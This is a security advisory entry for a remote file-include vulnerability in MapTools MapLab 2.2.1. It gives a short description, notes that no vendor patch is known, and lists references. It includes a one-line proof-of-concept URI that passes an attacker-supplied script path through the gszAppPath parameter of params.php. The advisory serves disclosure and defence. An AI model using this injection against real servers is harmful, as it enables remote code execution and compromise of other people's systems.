MapTools MapLab Params.PHP Remote File Include Vulnerability

Bugtraq ID:	23249
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 02 2007 12:00AM
Updated:	Apr 03 2007 12:42AM
Credit:	ka0x is credited with the discovery of this vulnerability.
Vulnerable:	MapTools MapLab 2.2.1
Not Vulnerable:

MapTools MapLab Params.PHP Remote File Include Vulnerability

MapLab is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 2.2.1; other versions may also be vulnerable.

MapTools MapLab Params.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/pathmaplab/htdocs/gmapfactory/params.php?gszAppPath=[EvilScript]

MapTools MapLab Params.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

MapTools MapLab Params.PHP Remote File Include Vulnerability

References:

• MapLab Product Page (MapTools)
  
• Maplab <= 2.2.1 (gszAppPath) Remote File Inclusion Vulnerability ([email protected])